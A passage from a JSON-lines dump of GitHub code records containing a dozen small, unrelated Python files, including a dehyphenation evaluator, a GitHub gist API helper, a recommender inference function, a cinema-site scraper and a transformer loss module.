num_predicted_v1_expected_v0_ambiguous += 1\n                    else:\n                        num_predicted_v0_expected_v1 += 1\n                        if prob_word_v0 >= 0.75 and prob_word_v1 >= 0.75:\n                            num_predicted_v1_expected_v1_ambiguous += 1\n                        else:\n                            num_predicted_v0_expected_v1_ambiguous += 1\n                    print(\"Wrong prediction.\")\n                    print(\"Input sentence:   \", input_sentence)\n                    print(\"Expected sentence:\", expected_sentence)\n                    print(\"Predicted word: %s (%.2f)\" %\n                          (predicted_word, predicted_word_prob))\n                    print(\"Expected word: %s (%.2f)\" %\n                          (expected_word, expected_word_prob))\n                    print(\"-\" * 30)\n\n                    if prob_word_v0 >= 0.5 and prob_word_v1 >= 0.5:\n                        num_error_category_1 += 1\n                    if prob_word_v0 < 0.5 and prob_word_v1 >= 0.5:\n                        num_error_category_2 += 1\n                    if prob_word_v0 >= 0.5 and prob_word_v1 < 0.5:\n                        num_error_category_3 += 1\n                    if prob_word_v0 < 0.5 and prob_word_v1 < 0.5:\n                        num_error_category_4 += 1\n\n            if (line_num + 1) % 100 == 0:\n                # Output some evaluation results.\n                accuracy = (num_predicted_v0_expected_v0 +\n                            num_predicted_v1_expected_v1) / (\n                            num_predicted_v0_expected_v0 +\n                            num_predicted_v0_expected_v1 +\n                            num_predicted_v1_expected_v0 +\n                            num_predicted_v1_expected_v1)\n                accuracy_amb = (num_predicted_v0_expected_v0_ambiguous +\n                                num_predicted_v1_expected_v1_ambiguous) / (\n                                num_predicted_v0_expected_v0_ambiguous +\n                                num_predicted_v0_expected_v1_ambiguous +\n                                num_predicted_v1_expected_v0_ambiguous +\n                                num_predicted_v1_expected_v1_ambiguous)\n                print(\"Intermediate result\", line_num + 1)\n                print(\"Accuracy:                        %.2f%%\" %\n                      (accuracy * 100))\n                print(\"Accuracy*:                       %.2f%%\" %\n                      (accuracy_amb * 100))\n                print(\"Accuracy 'expected non-hyphen':  %.2f%%\" %\n                      (100 * num_predicted_v0_expected_v0 / (\n                       num_predicted_v0_expected_v0 +\n                       num_predicted_v1_expected_v0)))\n                print(\"Accuracy 'expected non-hyphen'*: %.2f%%\" %\n                      (100 * num_predicted_v0_expected_v0_ambiguous / (\n                       num_predicted_v0_expected_v0_ambiguous +\n                       num_predicted_v1_expected_v0_ambiguous)))\n                print(\"Accuracy 'expected hyphen':      %.2f%%\" %\n                      (100 * num_predicted_v1_expected_v1 / (\n                       num_predicted_v0_expected_v1 +\n                       num_predicted_v1_expected_v1)))\n                print(\"Accuracy 'expected hyphen'*:     %.2f%%\" %\n                      (100 * (num_predicted_v1_expected_v1_ambiguous) / (\n                       num_predicted_v0_expected_v1_ambiguous +\n                       num_predicted_v1_expected_v1_ambiguous)))\n                print(\"\")\n                print(\"Confusion Matrix:\")\n                print(\"                expected '':   expected '-':\")\n                print(\"predicted '' :  %s     %s\" %\n                      (str(num_predicted_v0_expected_v0).rjust(11),\n                       str(num_predicted_v0_expected_v1).rjust(11)))\n                print(\"predicted '-':  %s     %s\" %\n                      (str(num_predicted_v1_expected_v0).rjust(11),\n                       str(num_predicted_v1_expected_v1).rjust(11)))\n                print()\n                print(\"Confusion Matrix*:\")\n                print(\"                expected '':   expected '-':\")\n                print(\"predicted '' :  %s     %s\" %\n                      (str(num_predicted_v0_expected_v0_ambiguous).rjust(11),\n                       str(num_predicted_v0_expected_v1_ambiguous).rjust(11)))\n                print(\"predicted '-':  %s     %s\" %\n                      (str(num_predicted_v1_expected_v0_ambiguous).rjust(11),\n                       str(num_predicted_v1_expected_v1_ambiguous).rjust(11)))\n                print(\"#error category 1:\", num_error_category_1)\n                print(\"#error category 2:\", num_error_category_2)\n                print(\"#error category 3:\", num_error_category_3)\n                print(\"#error category 4:\", num_error_category_4)\n                print(\"-\" * 30)\n        # Output some evaluation results.\n        accuracy = (num_predicted_v0_expected_v0 +\n                    num_predicted_v1_expected_v1) / (\n                    num_predicted_v0_expected_v0 +\n                    num_predicted_v0_expected_v1 +\n                    num_predicted_v1_expected_v0 +\n                    num_predicted_v1_expected_v1)\n        accuracy_amb = (num_predicted_v0_expected_v0_ambiguous +\n                        num_predicted_v1_expected_v1_ambiguous) / (\n                        num_predicted_v0_expected_v0_ambiguous +\n                        num_predicted_v0_expected_v1_ambiguous +\n                        num_predicted_v1_expected_v0_ambiguous +\n                        num_predicted_v1_expected_v1_ambiguous)\n        print(\"Accuracy:                       %.2f%%\" % (accuracy * 100))\n        print(\"Accuracy*:                       %.2f%%\" % (accuracy_amb * 100))\n        print(\"Accuracy 'expected non-hyphen': %.2f%%\" % (\n            100 * num_predicted_v0_expected_v0 / (\n               num_predicted_v0_expected_v0 +\n               num_predicted_v1_expected_v0)))\n        print(\"Accuracy 'expected non-hyphen'*: %.2f%%\" % (\n            100 * num_predicted_v0_expected_v0_ambiguous / (\n               num_predicted_v0_expected_v0_ambiguous +\n               num_predicted_v1_expected_v0_ambiguous)))\n        print(\"Accuracy 'expected hyphen':     %.2f%%\" %\n              (100 * num_predicted_v1_expected_v1 / (\n               num_predicted_v0_expected_v1 +\n               num_predicted_v1_expected_v1)))\n        print(\"Accuracy 'expected hyphen'*:     %.2f%%\" %\n              (100 * (num_predicted_v1_expected_v1_ambiguous) / (\n               num_predicted_v0_expected_v1_ambiguous +\n               num_predicted_v1_expected_v1_ambiguous)))\n        print(\"\")\n        print(\"Confusion Matrix:\")\n        print(\"                expected '':   expected '-':\")\n        print(\"predicted '' :  %s     %s\" %\n              (str(num_predicted_v0_expected_v0).rjust(11),\n               str(num_predicted_v0_expected_v1).rjust(11)))\n        print(\"predicted '-':  %s     %s\" %\n              (str(num_predicted_v1_expected_v0).rjust(11),\n               str(num_predicted_v1_expected_v1).rjust(11)))\n        print()\n        print(\"Confusion Matrix*:\")\n        print(\"                expected '':   expected '-':\")\n        print(\"predicted '' :  %s     %s\" %\n              (str(num_predicted_v0_expected_v0_ambiguous).rjust(11),\n               str(num_predicted_v0_expected_v1_ambiguous).rjust(11)))\n        print(\"predicted '-':  %s     %s\" %\n              (str(num_predicted_v1_expected_v0_ambiguous).rjust(11),\n               str(num_predicted_v1_expected_v1_ambiguous).rjust(11)))\n        print(\"#error category 1:\", num_error_category_1)\n        print(\"#error category 2:\", num_error_category_2)\n        print(\"#error category 3:\", num_error_category_3)\n        print(\"#error category 4:\", num_error_category_4)\n\n\n# =================================================================================================\n\nif __name__ == \"__main__\":\n    # Create a command line argument parser.\n    arg_parser = argparse.ArgumentParser(\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n    # The path to the dataset to use.\n    arg_parser.add_argument(\n        \"--benchmark_file\",\n        help=\"The path to a benchmark file that contains lines in the format \\\n<input_sentence>TAB<expected_sentence>, where <input_sentence> is a single \\\nsentence containing hyphenated words and <expected_sentence> is the same \\\nsentence, but the hyphenated words correctly dehyphenated.\"\n    )\n\n    args = arg_parser.parse_args()\n\n    run(args.benchmark_file)\n","repo_name":"marihernaes/Improved-Dehyphenation-of-Line-Breaks-for-PDF-Text-Extraction","sub_path":"scripts/evaluate/language_model_evaluate.py","file_name":"language_model_evaluate.py","file_ext":"py","file_size_in_byte":18419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6279849512","text":"a=[]\r\ncount=0\r\nwhile(True):\r\n    b=list(input())\r\n    if(b==['*']):\r\n        break\r\n    a+=b\r\nfor i in range(len(a)):\r\n    if(a[i]!=' 'and a[i]!='.' and a[i]!=','):\r\n        count+=1\r\nprint(count)","repo_name":"2005Payne/String-Count","sub_path":"koreaLength.py","file_name":"koreaLength.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29152545763","text":"import os\n\nhead_dir = '/Users/josephhowlett/research/outgassing/outgassing_git'\npressure_dir = os.path.join(head_dir, 'pressure_data')\ntemperature_dir = os.path.join(head_dir, 'temperature_data')\nrga_dir = os.path.join(head_dir, 'rga_xmls')\npickle_dir = os.path.join(head_dir, 'outgassing_pkls')\n\n# trend mode info\ntrend_samples = 5000 \ntrend_dwell = 1.0 # s\ntrend_peaks = {\n    'oxygen': 5,\n    'water': 3,\n    'nitrogen': 4,\n    'hydrogen': 2,\n    'total': 7\n    }\ntrend_n_peaks = 9\n\n# PTFE and Torlon dimensions\n# L = 5.845 in = 14.846 cm\n# W = 2.712 in = 6.888 cm\n# T = 0.763 in = 1.938 cm\n# SA = 288.75948 cm^2\n\narea = 1\n#initial_jump_threshold = 0.5\ninitial_jump_threshold = 0.25\nofftime_threshold_seconds = 200\ncoeff = 12.23\ntrans_prob = 0.245\n\npressure_stat_err = 0.05\n\n# indices of recognized measurements left off from outgassing calculation\n#skip_measurements = [0, 4]\nskip_measurements = []\n\n# manually set peak fraction if first rga scan is missing\n# otherwise set to zero\ninitial_peak_fraction = 2.69e-8\n\nrga_on_measurements = [1559751363 + 46*60]\n","repo_name":"JosephJHowlett/outgassing","sub_path":"outgassing_progs/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14945151898","text":"from ..utils import Put\n\n\ndef star_gist(\n        token: str,\n        gist_id: str,\n        accept: str = \"application/vnd.github.v3+json\"\n) -> bool:\n    \"\"\"\n    Star a gist\n    :param token: User authentication.\n    :param gist_id: Star the gist by the authenticated user.\n    :param accept: Setting to application/vnd.github.v3+json is recommended.\n    :return: `bool` - True in case the gist was starred successfully.\n    :raises: `RuntimeError` in case one of the parameters is invalid.\n    \"\"\"\n    url = f\"https://api.github.com/gists/{gist_id}/star\"\n\n    request = Put(\n            url,\n            headers={\"Accept\": accept},\n            auth=(\"token\", token)\n    )\n    request.evaluate()\n    request.response.raise_for_status()\n    if request.response.status_code == 204:\n        return True\n    return False\n","repo_name":"jonatan1609/GithubAPI","sub_path":"ghclient/gists/star_gist.py","file_name":"star_gist.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"16783444091","text":"# %%\nimport os,sys,inspect\nfrom sklearn.metrics import mean_absolute_error as mae\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import random_split\n\ncurrent_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparent_dir = os.path.dirname(current_dir)\nsys.path.insert(0, parent_dir) \n\nfrom src.modules import STLSTM\nfrom src.datasets import BarkleyDataset, TestDataset\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nprint('Found', torch.cuda.device_count(), 'GPUs')\n\n\n# %%\ndef getDataset(cfg):\n    dataset = BarkleyDataset(root=cfg.dataset_dir,\n                             train=cfg.train, \n                             depth=32, \n                             time_steps=cfg.time_step)\n\n    n_train = int(len(dataset)*0.90+0.5)\n    n_val = int(len(dataset)*0.10+0.5)\n\n    if cfg.train:\n        torch.manual_seed(42)\n        dataset, _ = random_split(dataset, [n_train, n_val])\n    else:\n        torch.manual_seed(42)\n        _, dataset = random_split(dataset, [n_train, n_val])\n        dataset.train = False\n        \n    return dataset\n\ndef getTestDataset(cfg):    \n    root = f'../data/datasets/{cfg.dataset}/processed'\n    dataset = TestDataset(mode = cfg.dataset)\n\n    return dataset\n\ndef getModel(cfg, **kwargs):   \n    model = nn.DataParallel(STLSTM(1,64))\n    \n    suffix = kwargs.pop('suffix', \"[0]\")\n    \n    folder = f'../models/{cfg.datatype}'\n    model_file = f'{cfg.prefix}{suffix}'\n    #model_file = f'STLSTM_t{cfg.time_step}_d{cfg.depth}'\n    file = os.path.join(folder, model_file)\n      \n    model.load_state_dict(torch.load(file, map_location=device), strict=True)\n    return model\n\n\ndef mae_b(img1, img2):\n    return mae(img1.reshape((-1,)), img2.reshape((-1,)))\n\n","repo_name":"RolandGit95/FromSurface2Depth","sub_path":"scripts/old/validation_mae.py","file_name":"validation_mae.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18459852166","text":"import numpy as np\nimport torch\n\n\ndef trainers(args, _input, model, item_candidate):\n    \"\"\"_summary_\n    Args:\n        args (_type_): 설정들\n        _input (_type_): 사용자가 방문한 음식점 기록 리스트(rest_code 형태).\n        model (Pytorch model): 모델\n        item_candidate (list): x,y / tag 등으로 걸러진 후보 음식점 리스트.\n    Returns:\n        ind (list): 추천 음식점 리스트(rest_code 형태)\n    \"\"\"    \n    def predict_full(seq_out, model, item_candidate):\n        \"\"\"_summary_\n        Args:\n            seq_out ([1, hidden_size]): 추천 결과물\n            model : model 파일\n            item_candidate(list) : 후보군 리스트 \n        Returns:\n            rating_pred ([1, item_candidate_num]): 유저들(batch)에 대한 모든 아이템 score\n        \"\"\"        \n        # [item_candidate_num, hidden_size]\n        test_item_emb = model.item_embeddings.weight[item_candidate,:]\n        # [1, hidden_size] * [hidden_size, item_candidate_num] = [1, item_candidate_num]\n        rating_pred = torch.matmul(seq_out, test_item_emb.transpose(0, 1))\n        return rating_pred # [1, item_candidate_num]\n\n    model.eval()\n\n    # _input_model : 모델에 넣기 위해 _input(유저의 음식점 기록 리스트) 가공\n    pad_len = args.max_seq_length - len(_input)\n    _input_model = [0] * pad_len + _input\n    _input_model = _input_model[-args.max_seq_length:]\n    _input_model = torch.tensor(_input_model, dtype=torch.long)\n    _input_model = _input_model.to(args.device)\n    \n    recommend_output = model.finetune(_input_model.unsqueeze(0))\n    recommend_output = recommend_output[:, -1, :]\n\n    # 이미 본 기록은 후보군에서 제외\n    item_candidate = list(set(item_candidate) - set(_input))\n\n    rating_pred = predict_full(recommend_output, model, item_candidate)\n    rating_pred = rating_pred.squeeze() # [1, item_candidate_num] => [item_candidate_num]\n\n    rating_pred = rating_pred.cpu().data.numpy()\n\n    # TOP k index 추출\n    ind = np.argpartition(rating_pred, -args.k)[-args.k:]\n    item_candidate = np.array(item_candidate)\n    return item_candidate[ind] # index로 rest_code로 변환해주기.\n","repo_name":"boostcampaitech4lv23recsys1/level3_productserving-level3-recsys-04","sub_path":"backend/app/models/sasrec/trainers.py","file_name":"trainers.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"ko","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"71526569150","text":"from bs4 import BeautifulSoup\nimport pandas as pd\n\n\n\ndef get_drivers():\n\n    with open('source.html') as f:\n        html = f.read()\n\n        driver_df = pd.DataFrame()\n\n        soup = BeautifulSoup(html, 'html.parser')\n\n        all = soup.findAll(\"option\")\n        for x in all:\n            print(x['value'])\n\n\n\n\n\n\nget_drivers()","repo_name":"denzilly/robottas","sub_path":"modules/html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"28615481726","text":"from setuptools import setup, find_packages\nwith open('README.rst') as f:\n    readme = f.read()\n\nsetup(\n    name=\"hr\",\n    version=\"0.1.0\",\n\tpackages=find_packages('src'),\n\tpackage_dir={'': 'src'},\n    entry_points={\n        'console_scripts': 'hr=hr.cli:main',\n    },\n\n\n    # metadata for upload to PyPI\n    author=\"Mattias Giese\",\n    author_email=\"foobar@example.com,\",\n    description=\"This package manages users through a JSON inventory file\",\n    license=\"MIT\",\n    long_description=readme,\n    #keywords=\"hello world example examples\",\n    #url=\"http://example.com/HelloWorld/\",   # project home page, if any\n    #project_urls={\n    #    \"Bug Tracker\": \"https://bugs.example.com/HelloWorld/\",\n    #    \"Documentation\": \"https://docs.example.com/HelloWorld/\",\n    #    \"Source Code\": \"https://code.example.com/HelloWorld/\",\n    #}\n\n    # could also include long_description, download_url, classifiers, etc.\n)\n","repo_name":"mattiascockburn/learn","sub_path":"python/hr/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23429376929","text":"from bs4 import BeautifulSoup as bs\nimport requests\n\n\nclass Parser:\n    headers = {\n        \"accept\": \"*/*\",\n        \"user-agent\": \"Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)\"\n    }\n\n    def __init__(self):\n        self.get_html()\n\n    def get_html(self):\n        url = \"https://www.afisha.ru/chelyabinsk/schedule_cinema/\"\n        with requests.Session() as session:\n            response = session.get(url, headers=self.headers)\n        return response.text\n\n    def parse_html(self, html):\n        urls = []\n        soup = bs(html, 'lxml')\n        main_div = soup.find_all('div', {'class': 'cards-grid__item'})\n        for i in main_div:\n            try:\n                name = i.find('h3', {'class': 'card__title'}).text\n                rating = i.find('div', {'class': 'rating-static__item'}).text\n                href = i.find('a', {'class': 'card__link'}).get('href')\n                links = {\n                    'href': f'https://www.afisha.ru{href}',\n                    'name': name,\n                    'rating': rating\n                }\n                urls.append(links)\n            except:\n                continue\n        for j in urls:\n            with requests.Session() as session:\n                response = session.get(j['href'], headers=self.headers)\n                if response.status_code == 200:\n                    soup = bs(response.text, 'lxml')\n                    print(soup.prettify())\n                    div_schedule = soup.find_all('div', {'class': 'object__block-content'})\n                    print(div_schedule)\n                    for k in div_schedule:\n                        cinema = k.find('a', {'class': 'unit__movie-name__link'}).text\n                        print(cinema)\ndef main():\n    bot = Parser()\n    html = bot.get_html()\n    result = bot.parse_html(html)\n    return result\n\n\nif __name__ == '__main__':\n    print(main())\n","repo_name":"KaptainMidnight/kino_parser","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16798631994","text":"import torch\r\nimport torch.nn.functional as F\r\nfrom torch import nn\r\nfrom ipdb import set_trace\r\n\r\n\r\nclass SetCriterion(nn.Module):\r\n    \"\"\" This class computes the loss for DETR.\r\n    The process happens in two steps:\r\n        1) we compute hungarian assignment between ground truth boxes and the outputs of the model\r\n        2) we supervise each pair of matched ground-truth / prediction (supervise class and box)\r\n    \"\"\"\r\n    def __init__(self, num_classes, losses, args):\r\n        \"\"\" Create the criterion.\r\n        Parameters:\r\n            num_classes: number of object categories, omitting the special no-object category\r\n            matcher: module able to compute a matching between targets and proposals\r\n            weight_dict: dict containing as key the names of the losses and as values their relative weight.\r\n            eos_coef: relative classification weight applied to the no-object category\r\n            losses: list of all the losses to be applied. See get_loss for list of available losses.\r\n        \"\"\"\r\n        super().__init__()\r\n        self.num_classes = num_classes\r\n        self.classification_x_loss_coef = args.classification_x_loss_coef\r\n        self.classification_h_loss_coef = args.classification_h_loss_coef\r\n        self.similar_loss_coef = args.similar_loss_coef\r\n        self.weight_dict = {\r\n            'labels_encoder': self.classification_h_loss_coef,\r\n            'labels_decoder': args.classification_pred_loss_coef,\r\n            'labels_x0': self.classification_x_loss_coef,\r\n            'labels_xt': self.classification_x_loss_coef,\r\n            'distance': self.similar_loss_coef,\r\n        }\r\n        self.losses = losses\r\n        self.ignore_index = 21\r\n        self.margin = args.margin\r\n        self.size_average = True\r\n        self.logsoftmax = nn.LogSoftmax(dim=1)\r\n\r\n    def loss_labels(self, input, targets, name):\r\n        \"\"\"Classification loss (NLL)\r\n        targets dicts must contain the key \"labels\" containing a tensor of dim [nb_target_boxes]\r\n        \"\"\"\r\n        # assert 'pred_logits' in outputs\r\n        # src_logits = outputs['pred_logits']\r\n        #\r\n        # idx = self._get_src_permutation_idx(indices)\r\n        # target_classes_o = torch.cat([t[\"labels\"][J] for t, (_, J) in zip(targets, indices)])\r\n        # target_classes = torch.full(src_logits.shape[:2], self.num_classes,\r\n        #                             dtype=torch.int64, device=src_logits.device)\r\n        # target_classes[idx] = target_classes_o\r\n\r\n        # loss_ce = F.cross_entropy(outputs, targets, ignore_index=21)\r\n        target = targets.float()\r\n        # logsoftmax = nn.LogSoftmax(dim=1).to(input.device)\r\n\r\n        if self.ignore_index >= 0:\r\n            notice_index = [i for i in range(target.shape[-1]) if i != self.ignore_index]\r\n            output = torch.sum(-target[:, notice_index] * self.logsoftmax(input[:, notice_index]), 1)\r\n            if output.sum() == 0:   # 全为 ignore 类\r\n                loss_ce = torch.tensor(0.).to(input.device).type_as(target)\r\n            else:\r\n                loss_ce = torch.mean(output[target[:, self.ignore_index] != 1])\r\n        else:\r\n            output = torch.sum(-target * self.logsoftmax(input), 1)\r\n            if self.size_average:\r\n                loss_ce = torch.mean(output)\r\n            else:\r\n                loss_ce = torch.sum(output)\r\n        if torch.isnan(loss_ce).sum()>0:\r\n            set_trace()\r\n        losses = {name: loss_ce}\r\n\r\n        return losses\r\n\r\n    def loss_labels_decoder(self, input, targets, name):\r\n        \"\"\"Classification loss (NLL)\r\n        targets dicts must contain the key \"labels\" containing a tensor of dim [nb_target_boxes]\r\n        \"\"\"\r\n        # assert 'pred_logits' in outputs\r\n        # src_logits = outputs['pred_logits']\r\n        #\r\n        # idx = self._get_src_permutation_idx(indices)\r\n        # target_classes_o = torch.cat([t[\"labels\"][J] for t, (_, J) in zip(targets, indices)])\r\n        # target_classes = torch.full(src_logits.shape[:2], self.num_classes,\r\n        #                             dtype=torch.int64, device=src_logits.device)\r\n        # target_classes[idx] = target_classes_o\r\n\r\n        # loss_ce = F.cross_entropy(outputs, targets, ignore_index=21)\r\n        target = targets.float()\r\n        # logsoftmax = nn.LogSoftmax(dim=1).to(input.device)\r\n        ignore_index = 21  # -1 改为21 更好一点\r\n        if ignore_index >= 0:\r\n            notice_index = [i for i in range(target.shape[-1]) if i != self.ignore_index]\r\n            output = torch.sum(-target[:, notice_index] * self.logsoftmax(input[:, notice_index]), 1)\r\n            if output.sum() == 0:   # 全为 ignore 类\r\n                loss_ce = torch.tensor(0.).to(input.device).type_as(target)\r\n            else:\r\n                loss_ce = torch.mean(output[target[:, self.ignore_index] != 1])\r\n        else:\r\n            output = torch.sum(-target * self.logsoftmax(input), 1)\r\n            if self.size_average:\r\n                loss_ce = torch.mean(output)\r\n            else:\r\n                loss_ce = torch.sum(output)\r\n        if torch.isnan(loss_ce).sum()>0:\r\n            set_trace()\r\n        losses = {name: loss_ce}\r\n\r\n        return losses\r\n\r\n    def contrastive_loss(self, output, label, name):\r\n        \"\"\"\r\n        Contrastive loss function.\r\n        Based on: http://yann.lecun.com/exdb/publis/pdf/hadsell-chopra-lecun-06.pdf\r\n        \"\"\"\r\n        output1, output2 = output\r\n        euclidean_distance = F.pairwise_distance(output1, output2, keepdim=True)\r\n        loss_contrastive = torch.mean((1.-label) * torch.pow(euclidean_distance, 2) +\r\n                                      (label) * torch.pow(torch.clamp(self.margin - euclidean_distance, min=0.0), 2))\r\n        if torch.isnan(loss_contrastive).sum()>0:\r\n            set_trace()\r\n        losses = {name: loss_contrastive.double()}\r\n        return losses\r\n\r\n    def get_loss(self, loss, outputs, targets):\r\n        loss_map = {\r\n            'labels_encoder': self.loss_labels,\r\n            'labels_decoder': self.loss_labels_decoder,\r\n            'labels_x0': self.loss_labels,\r\n            'labels_xt': self.loss_labels,\r\n            'distance': self.contrastive_loss,\r\n        }\r\n        assert loss in loss_map, f'do you really want to compute {loss} loss?'\r\n        return loss_map[loss](outputs, targets, name=loss)\r\n\r\n    def forward(self, outputs, targets):\r\n        \"\"\" This performs the loss computation.\r\n        Parameters:\r\n             outputs: dict of tensors, see the output specification of the model for the format\r\n             targets: list of dicts, such that len(targets) == batch_size.\r\n                      The expected keys in each dict depends on the losses applied, see each loss' doc\r\n        \"\"\"\r\n        # outputs_without_aux = {k: v for k, v in outputs.items() if k != 'aux_outputs'}\r\n\r\n        # Retrieve the matching between the outputs of the last layer and the targets\r\n        # indices = self.matcher(outputs_without_aux, targets)\r\n\r\n        # Compute the average number of target boxes accross all nodes, for normalization purposes\r\n        # num_boxes = sum(len(t[\"labels\"]) for t in targets)\r\n        # num_boxes = torch.as_tensor([num_boxes], dtype=torch.float, device=next(iter(outputs.values())).device)\r\n        # if is_dist_avail_and_initialized():\r\n        #     torch.distributed.all_reduce(num_boxes)\r\n        # num_boxes = torch.clamp(num_boxes / get_world_size(), min=1).item()\r\n\r\n        # Compute all the requested losses\r\n        losses = {}\r\n        for loss in self.losses:\r\n            losses.update(self.get_loss(loss, outputs[loss], targets[loss]))\r\n\r\n        return losses","repo_name":"wangxiang1230/OadTR","sub_path":"util/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":7648,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"60"}
+{"seq_id":"14510493695","text":"import psutil\nimport pandas\n\ndef cpu():\n    #using psutil to read the cpu usage\n    count = psutil.cpu_count()\n    freq = psutil.cpu_freq()\n    percent = psutil.cpu_percent()\n\n    #putting the values of count, freq and percent into a list called cpu_things\n    cpu_things = [count, freq, percent]\n\n\n    #iterating the list\n    for x in cpu_things:\n        print(x)\n\n    cpu_data = {'data': [count, freq, percent]}\n    df = pandas.DataFrame(cpu_data, columns=['data'])\n\n    df.to_csv('example.csv')\n\n    return count, freq, percent\n\n\ndef memory():\n    vm = psutil.virtual_memory()\n\n    return vm\n\ncpu()\nmemory()\n\n","repo_name":"droche92/AS_Project","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40047527277","text":"\"\"\"\n1.Сделать возможным записывать имейл Employee в файл при создании объекта
\n2.Создать внутренний метод валидации в классе Employee, который будет выполнятся при создании нового объекта и\n    выбрасывать ошибку ValueError если уже существует объект с таким же email.
\n\n3. Создать в классе Candidate метод work.\n4.Создать кастомную ошибку UnableToWorkException, которая будет вызываться в классе Candidate при вызове метода .work()\n    с сoобщением “I’m not hired yet, lol.”
\n\n5.Добавить в app.py try/except блок, который будет оборачивать выполнение main.py и записывать в файл logs.py сообщения\n    об ошибках(date: time    exception type, traceback).
\n\"\"\"\n\nfrom models import *\nfrom datetime import *\nimport traceback\n\n\ndef main():\n    danilo = Recruiter(\"Danilo\", \"danil@a-level.ua\", 2000)\n    steve = Programmer(\"Steve\", \"anygelator@google.com\", 2500)\n    marry = Programmer(\"Maria\", \"pussy@mail.ru\", 2300)\n\n    andrii = Candidate(\"Hryshchenko Andrii\", \"ckarry@yandex.ua\", \"some technologies\", \"Python\", \"Junior\")\n    dan = Candidate(\"Dan Brown\", \"bigd1k@google.com\", \"not have\", \"Python\", \"Trainee\")\n    carin = Candidate(\"Slutko Carina\", \"sneeker@spaces.ru\", \"Borsh\", \"Python\", \"Junior+\")\n    andrii.work()\n    dan.work()\n    carin.work()\n\n    atm = Vacancy(\"Python BackEnd programmer\", \"Python\", \"Strong Junior 2+\")\n    nix = Vacancy(\"Python QA tester\", \"Python\", \"Strong Junior 2+\")\n\ntry:\n    main()\nexcept UnableToWorkException:\n    file = open(\"logs.txt\", \"a+\")\n    file.write(f'{date.today()}: {datetime.now().strftime(\"%H:%M:%S\")} UnableToWorkException, {traceback.format_exc()}\\n\\n')\nexcept ValueError:\n    file = open(\"logs.txt\", \"a+\")\n    file.write(f'{date.today()}: {datetime.now().strftime(\"%H:%M:%S\")} ValueError, {traceback.format_exc()}\\n\\n')\nfinally:\n    file.close()\n","repo_name":"frikcio/Python_Lab","sub_path":"OOP/Lesson_4/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34035266828","text":"from data_process import process as ps\nimport codecs\nfrom lxml import html as etree\nimport os\nimport sys\nimport time\nfrom multiprocessing import Pool\nfrom nltk.corpus import stopwords\n\nclass transform(object):\n    def __init__(self,doc_dirs):\n        self.docs_dict={}\n        self.get_all(doc_dirs)\n    def _decode_xml(self,path):\n        with codecs.open(path, encoding='ISO-8859-1') as f:\n            xml = f.read()\n            xml = xml.replace(\"<BODY>\", \"<BODYY>\").replace(\"</BODY>\", \"</BODYY>\")\n            xml = xml.replace(\"<HEAD>\", \"<HEADD>\").replace(\"</HEAD>\", \"</HEADD>\")\n        xml = \"<root>\" + xml + \"</root>\"\n        return etree.fromstring(xml)\n    def doc_dm(self,path, extractor, limit=None):\n        tree = self._decode_xml(path)\n        st=time.time()\n        for i, doc in enumerate(list(tree)):\n            document_id, full_text = extractor(doc)\n            # sents=ps.cut_text(full_text)\n            # new_doc=[]\n            # for sen in sents:\n            #     filters=ps.handle_sen(sen,'english')\n            #     new_doc.append(filters)\n            self.docs_dict[document_id.strip()]=full_text.strip()\n    # def process_docs(self):\n    #     new_dict={}\n    #     for id,doc in self.docs_dict.items():\n    #         sents=ps.cut_text(doc)\n    #         new_doc=[]\n    #         for sen in sents:\n    #             filters=ps.handle_sen(sen,'english')\n    #             new_doc.append(filters)\n    #         new_dict[id]=new_doc\n    #     return new_dict\n    def load_queries(self,path, language, limit=None):\n        language_tag=language[0]\n        tag_title = language_tag + '-title'\n        tag_desc = language_tag + '-desc'\n        # tag_narr = language_tag + '-narr'\n        tree = self._decode_xml(path)\n        # queries = []\n        # ids = []\n        stop=stopwords.words(language[1])\n        for i, topic in enumerate(list(tree)):\n            _id = topic.findtext('num').strip() # e.g. 'C041'\n            _id = int(_id[1:]) # e.g. 41\n            title = topic.findtext(tag_title)\n            desc = topic.findtext(tag_desc)\n            query = ' '.join([title, desc])\n            query=ps.handle_query(query.strip(),stop)\n            # queries.append(clean(query))\n            self.docs_dict[_id]=query\n            # queries.append(query)\n            # ids.append(_id)\n            # if i == limit:\n            #     break\n        # return ids, queries\n    def get_all(self,doc_dirs):\n        if isinstance(doc_dirs,list):\n            self.load_queries(doc_dirs[0],doc_dirs[1])\n        else:\n            for 